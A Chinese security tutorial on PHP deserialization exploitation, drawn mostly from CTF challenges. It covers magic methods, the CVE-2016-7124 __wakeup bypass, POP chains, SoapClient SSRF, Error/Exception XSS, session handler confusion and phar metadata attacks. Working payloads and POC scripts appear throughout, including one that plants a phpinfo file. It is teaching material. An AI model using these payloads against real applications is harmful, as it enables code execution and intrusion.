文章首发于 SECIN社区:https://www.sec-in.com/article/137
三种类属性
Private 权限: 正常
Private 权限属性名: %00类名%00属性名
。且属性名长度改变
Protected 权限属性名: %00*%00属性名
。且属性名长度改变
demo
<?php class Test { public $name = 'P2hm1n'; private $age = 'Secret'; protected $test = 'test'; }
$test = new Test; $content = serialize($test); file_put_contents('./flag.txt', $content);
?>
|
魔术方法
具体可参考PHP手册: https://www.php.net/manual/zh/language.oop5.magic.php
construct
调用条件 :当一个类被初始化为实例时会调用(unserialize()
时不会自动调用)
destruct
调用条件 :当对象被销毁时会调用
sleep
调用条件 :当一个类调用serialize
进行序列化时会自动调用
wakeup
调用条件 :当字符串要利用unserialize
反序列化成一个类时会调用
get()
调用条件:当从不可访问的属性读取数据
call()
调用条件: 当要调用的方法不存在或权限不足时自动调用
invoke()
调用条件: 当把一个类当作函数使用时自动调用
tostring
当反序列化后的对象被当作字符串的时候调用。具体调用场景条件如下(引用自 @k0rz3n)
(1) echo ($obj) / print($obj)
打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==
比较时(PHP进行==
比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()
、addslashes()
时
(7) 在in_array()
方法中,第一个参数是反序列化对象,第二个参数的数组中有toString
返回的字符串的时候toString
会被调用
(8) 反序列化的对象作为 class_exists()
的参数的时候
CVE-2016-7124
CVE利用目的: 绕过魔法函数__wakeup
版本限制: PHP5 < 5.6.25 | PHP7 < 7.0.10
核心原理: PHP 内核层解析反序列化漏洞
s
绕过方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
Bypass demo
<?php class Test { public $name = 'P2hm1n';
function __destruct() { echo 'Bypass'; }
function __wakeup() { echo 'fail '; } }
$payload = ''; unserialize($payload); ?>
|
payload
payload1 = O:4:"Test":1:{s:4:"name";s:6:"P2hm1n";}
|
bypass payload
payload1 = O:4:"Test":2:{s:4:"name";s:6:"P2hm1n";}
|
POP链构造
知识回顾
挖掘暗藏ThinkPHP中的反序列利用链 一文中总结的挺好了。
方法名 |
调用条件 |
__call |
调用不可访问或不存在的方法时被调用 |
__callStatic |
调用不可访问或不存在的静态方法时被调用 |
__clone |
进行对象clone时被调用,用来调整对象的克隆行为 |
__constuct |
构建对象的时被调用; |
__debuginfo |
当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本 |
__destruct |
明确销毁对象或脚本结束时被调用; |
__get |
读取不可访问或不存在属性时被调用 |
__invoke |
当以函数方式调用对象时被调用 |
__isset |
对不可访问或不存在的属性调用isset()或empty()时被调用 |
__set |
当给不可访问或不存在属性赋值时被调用 |
__set_state |
当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。 |
__sleep |
当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用 |
__toString |
当一个类被转换成字符串时被调用 |
__unset |
对不可访问或不存在的属性进行unset时被调用 |
__wakeup |
当使用unserialize时被调用,可用于做些对象的初始化操作 |
- 反序列化的常见起点
__wakeup
一定会调用
__destruct
一定会调用
__toString
当一个对象被反序列化后又被当做字符串使用
- 反序列化的常见中间跳板:
__toString
当一个对象被当做字符串使用
__get
读取不可访问或不存在属性时被调用
__set
当给不可访问或不存在属性赋值时被调用
__isset
对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
- 反序列化的常见终点:
__call
调用不可访问或不存在的方法时被调用
call_user_func
一般php代码执行都会选择这里
call_user_func_array
一般php代码执行都会选择这里
主要还是三点:
- 起点
- 跳板
- 代码执行
个人感觉核心是实例化对象可附值给变量,从而调用 + 各类魔术方法
demo1
demo引用自 @twosmi1e 师傅 先知社区 里的代码:
<?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $a = $_GET['string']; unserialize($a); ?>
|
从前往后跟 or 从后往前跟?
POC
<?php class start_gg { public $mod1; public $mod2;
public function __construct() { $this->mod1 = new Call(); }
public function __destruct() { $this->mod1->test1(); }
}
class Call { public $mod1; public $mod2;
public function __construct() { $this->mod1 = new funct(); }
public function test1() { $this->mod1->test2(); } }
class funct { public $mod1; public $mod2;
public function __construct() { $this->mod1 = new func(); }
public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } }
class func { public $mod1; public $mod2;
public function __construct() { $this->mod1 = new string1(); }
public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class string1 { public $str1; public $str2;
public function __construct() { $this->str1 = new GetFlag(); }
public function __toString() { $this->str1->get_flag(); return "1"; } }
class GetFlag { public function get_flag() { echo "flag:" . "xxxxxxxxxxxx"; } } $payload = new start_gg(); echo urlencode(serialize($payload)); ?>
|
demo2
demo引用自 @l3mon师傅 blog 里的代码:
<?php
class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } };
class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } };
class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND); } };
class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); } };
class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); } function __toString() { return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group; } function log() { $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n"); } function get_name() { return $this->name; } }
class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } function __toString() { return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n"; } function __destruct() { $this->song->log(); } function shortForm() { return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>"; } function name_is($name) { return $this->song->get_name() === $name; } };
class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } } };
class Porter { static function exportData($lyrics) { return base64_encode(serialize($lyrics)); } static function importData($lyrics) { return serialize(base64_decode($lyrics)); } };
class Conn { protected $conn; function __construct($dbuser, $dbpass, $db) { $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db); }
function getLyrics($lyrics) { $r = array(); foreach ($lyrics as $lyric) { $s = intval($lyric); $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s"); while (($row = $result->fetch_row()) != NULL) { $r []= unserialize(base64_decode($row[0])); } } return $r; }
function addLyrics($lyrics) { $ids = array(); foreach ($lyrics as $lyric) { $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")"); $res = $this->conn->query("SELECT MAX(id) FROM lyrics"); $id= $res->fetch_row(); $ids[]= intval($id[0]); } echo var_dump($ids); return $ids; }
function __destruct() { $this->conn->close(); $this->conn = NULL; } }; unserialize($_GET['cmd']);
|
反序列化函数 + 可控参数 == 控制当前作用域下对象
class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } } };
|
自定义 $song 值 + __destruct == 调用当前作用域下 log方法
class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } function __toString() { return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n"; } function __destruct() { $this->song->log(); } function shortForm() { return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>"; } function name_is($name) { return $this->song->get_name() === $name; } };
|
论两个 log 方法的选择
class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); } };
class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); } function __toString() { return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group; } function log() { $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n"); } function get_name() { return $this->name; } }
|
LogWriter_File::writeLog($txt) 的写入文件
class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND); } };
|
LogFileFormat::format
class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } };
|
OutputFilter::filter 自定义 preg_replace 内容
class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } };
|
preg_replace
和 str_replace
的区别

final POC
<?php
class OutputFilter { protected $matchPattern; protected $replacement; function __construct() { $this->matchPattern = "//"; $this->replacement = "<?php phpinfo();?>"; } }
class LogFileFormat { protected $filters; protected $endl; function __construct() { $this->filters = array(new OutputFilter()); $this->endl = '\n'; } }
class LogWriter_File { protected $filename; protected $format;
function __construct() { $this->filename = "info.php"; $this->format = new LogFileFormat(); } }
class Logger { protected $logwriter;
function __construct() { $this->logwriter = new LogWriter_File(); } }
class Lyrics { protected $lyrics; protected $song;
function __construct() { $this->lyrics = '1'; $this->song = new Logger(); } }
$payload = new Lyrics(); print_r(urlencode(serialize($payload))); ?>
|

原生类利用
ZipArchive::open
@Threezh1 文中已经写的很详细了。这里不再补充
https://xz.aliyun.com/t/6454#toc-10
SoapClient
关于SOAP安全问题:https://www.anquanke.com/post/id/153065#h2-1
利用条件:
需要有soap扩展,且不是默认开启,需要手动开启
需要调用一个不存在的方法触发其__call()
函数
仅限于http/https协议,且http头部还存在crlf漏洞(SOAP + CRLF = SSRF)
例子可见下文: LCTF2018-bestphp’s revenge
Error XSS
@l3m0n 师傅blog中提到了XSS
Error
适用于php7版本
XSS
开启报错的情况下:
<?php $a = new Error("<script>alert(1)</script>"); $b = serialize($a); echo urlencode($b);
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'); $c = unserialize($t); echo $c;
|
Exception XSS
@l3m0n 师傅blog中提到了XSS
Exception
适用于php5、7版本
XSS
开启报错的情况下:
<?php $a = new Exception("<script>alert(1)</script>"); $b = serialize($a); echo urlencode($b);
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D'); echo unserialize($c);
|
多种姿势组合拳
例子可见:Pornhub某漏洞 : https://5haked.blogspot.com/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1
涉及姿势如下
可获取目录: DirectoryIterator
XXE: SimpleXMLElement
创建空白文件: SQLite3
反序列化字符逃逸
原理: 对类中不存在的属性也会进行反序列化。且PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的
利用: 构造字符串
例子一
0ctf2016 一道web题(待更新
例子二
安洵杯 - easy_serialize_php
https://xz.aliyun.com/t/6911#toc-3
Session 反序列化
参数相关
session相关参数配置
Directive |
含义 |
session.save_handler |
session保存形式。默认为files |
session.save_path |
设置session的存储路径,默认在/tmp |
session.serialize_handler |
session序列化存储所用处理器。默认为php。 |
session.upload_progress.cleanup |
一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled |
将上传文件的进度信息存在session中。默认开启。 |
PHP处理器三种序列化方式
处理器 |
对应的存储格式 |
php_binary |
键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
php |
键名+竖线+经过serialize()函数反序列处理的值 |
php_serialize |
serialize()函数反序列处理数组方式 |
差异性
PHP处理器差异性如下
<?php ini_set('session.serialize_handler',''); session_start();
$_SESSION['name'] = $_GET['name']; ?>
|
URL传参,
?name=P2hm1n
。session以文本存储方式保存在
/tmp
目录下。
php: name|s:6:"P2hm1n";
php_binary: 二进制字符names:6:"P2hm1n";
php_serialize: a:1:{s:4:"name";s:6:"P2hm1n";}
漏洞核心也体现在 差异性 三个字
Q: 什么是差异性:
A: 选择的处理方式不同,序列化和反序列化的方式亦不同。如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。
攻击手段
trick-1
利用前提: 脚本中设置的序列化处理器与php.ini设置的不同
常见漏洞场景: php_serilize
方式存入,解析又是用的 php
处理器
利用原理: php 在获取 session 的时候,会按照session.serialize_handler=php
规则来处理 session 文件。把 |
前面的值作为一个session键名,对 |
后面就会进行一个反序列化操作
trick-2
配置不当可造成session被控。
当session.upload_progress.enabled
打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION
中。
但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name
同名的变量时(session.upload_progress.name
的变量值默认为PHP_SESSION_UPLOAD_PROGRESS
),PHP检测到这种同名请求会在$_SESSION
中添加一条数据。我们由此来设置session。
session.upload_progress.cleanup
关闭。这就 极大提高了漏洞的利用成功率。如果此选项session.upload_progress.cleanup
打开,那么在利用时攻击者需要上传large and crash文件,来使得我们传入的data得以执行。
详情见https://bugs.php.net/bug.php?id=71101
例子一
题目链接: http://web.jarvisoj.com:32784/index.php
<?php
ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
|
差异点:
- phpinfo中
session.serialize_handler = php_serialize
。
- 题目中
ini_set('session.serialize_handler', 'php');
核心目的: 进入 eval
函数执行命令。由于题目中并没有反序列化操作,其中 $this->mdzz
不可通过常规手段控制。
观察phpinfo中session其他有关信息

构造一个上传的页面
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="change" /> <input type="file" name="file" /> <input type="submit" /> </form>
|
构造poc
<?php class OowoO { public $mdzz; }
$a = new OowoO(); $a->mdzz = "payload"; echo serialize($a); ?>
|
扫描目录

phpinfo中的_SERVER["SCRIPT_FILENAME"]
字段得到路径:/opt/lampp/htdocs/
。
随后用绝对路径读取文件

例子二
题目来源: LCTF2018-bestphp’s revenge
题目给了两个源码
index.php
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?>
|
flag.php
<?php session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } ?>
|
flag.php 跟 index.php 之间的微妙联系体现在
$_SESSION['flag'] = $flag; var_dump($_SESSION);
|
$_SERVER["REMOTE_ADDR"]==="127.0.0.1"
。这里自然想到SSRF。可以利用上文提到的php原生类SoapClient中的__call
方法进行SSRF。
构造SSRF的POC (POC来自 @Smi1e)
<?php $url = "http://127.0.0.1/flag.php"; $b = new SoapClient(null, array('uri' => $url, 'location' => $url)); $a = serialize($b); $a = str_replace('^^', "\r\n", $a); echo "|" . urlencode($a); ?>
|
index.php 中涉及到了call_user_func
函数。PHP手册中 给了几个call_user_func
函数的例子: https://www.php.net/manual/zh/function.call-user-func.php
其中需要注意的是当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调

为了进行反序列化只能利用PHP中SESSION反序列化机制。主要体现在差异性(当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞)。但是在PHP中默认使用的是PHP引擎。所以这里为了展现session的差异性,我们需要通过代码手动构造差异性。
通过 call_user_func($_GET['f'], $_POST);
构造PHP引擎差异性。并通过 $_SESSION['name'] = $_GET['name'];
将构造的Soap类序列化字符串写入session文件

为了调用 __call
方法。首先利用call_user_func($_GET['f'], $_POST);
传入 f=extract
进行POST变量覆盖。随后通过GET传参令$_SESSION['name'] = SoapClient
。再利用POST传参进行变量b的覆盖。即调用 SoapClient 类不存在的 welcome_to_the_lctf2018
方法,从而触发 __call
方法发起 soap 请求进行 SSRF 。

最后携带cookie访问
Phar拓展攻击面
Phar简介
拓展攻击面体现在: 可通过构造 phar 在没有 unserailize()
的情况下实现反序列化攻击
由 PHPGGC 理解 PHP 反序列化漏洞 一文中对其概念概括十分简洁明了
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://
,php://
等类似,也是一种流包装器。
phar结构由 4 部分组成
stub
phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
manifest
压缩文件的属性等信息,以序列化存储;
contents
压缩文件的内容;
signature
签名,放在文件末尾;
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。
利用条件:
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
生成Phar
<?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
PS: 要将php.ini中的phar.readonly
选项设置为Off,否则无法生成phar文件
触发条件
@secii 师傅文中提到: php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化
fileatime
/ filectime
/ filemtime
stat
/ fileinode
/ fileowner
/ filegroup
/ fileperms
file
/ file_get_contents
/ readfile
/ fopen
file_exists
/ is_dir
/ is_executable
/ is_file
/ is_link
/ is_readable
/ is_writeable
/ is_writable
parse_ini_file
unlink
copy
随后 @zsx 师傅blog中 Phar与Stream Wrapper造成PHP RCE的深入挖掘 对其进行了更深入的挖掘
- exif
exif_thumbnail
exif_imagetype
- gd
imageloadfont
imagecreatefrom***
- hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
- file / url
get_meta_tags
get_headers
- standard
getimagesize
getimagesizefromstring
zip
$zip = new ZipArchive(); $res = $zip->open('c.zip'); $zip->extractTo('phar://test.phar/test');
|
Bzip / Gzip
如果限制了phar://
不能出现在头几个字符。可用 compress.bzip2://
和 compress.zlib://
添加至 phar://
前面进行 bypass
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
MySQL
LOAD DATA LOCAL INFILE
也会触发这个php_stream_open_wrapper
<?php class A { public $s = ''; public function __wakeup () { system($this->s); } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
|
例子
参考另一篇 blog HITCON 三题递进PHP反序列化
HITCON2017 中的 Baby^H Master PHP 2017 一题
refer
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2_1
https://coomrade.github.io/2018/10/26/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E6%8B%93%E5%B1%95%E6%8F%90%E9%AB%98%E7%AF%87/
https://www.smi1e.top/lctf2018-bestphps-revenge-%E8%AF%A6%E7%BB%86%E9%A2%98%E8%A7%A3/
https://blog.zsxsoft.com/post/38